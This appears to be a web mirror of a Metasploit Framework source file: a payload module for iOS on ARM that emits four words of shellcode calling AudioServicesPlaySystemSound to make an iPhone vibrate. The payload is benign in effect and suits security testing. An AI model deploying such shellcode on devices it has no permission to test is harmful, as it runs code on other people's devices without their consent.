Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/armle/vibrate.rb
21549 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 16
8
9
include Msf::Payload::Single
10
include Msf::Payload::Osx
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Apple iOS iPhone Vibrate',
17
'Description' => %q{
18
Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded.
19
Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.
20
},
21
'Author' => 'hdm',
22
'License' => MSF_LICENSE,
23
'Platform' => 'osx',
24
'Arch' => ARCH_ARMLE
25
)
26
)
27
end
28
29
def generate(_opts = {})
30
[
31
0xe1a00820, # mov r0, r0, lsr #16
32
0xe51ff004, # ldr pc, [pc, #-4]
33
0x319ef974, # _AudioServicesPlaySystemSound() / Firmware 1.02
34
0x03ea4444 # Parameter: 0x03ea
35
].pack('V*')
36
end
37
end
38
39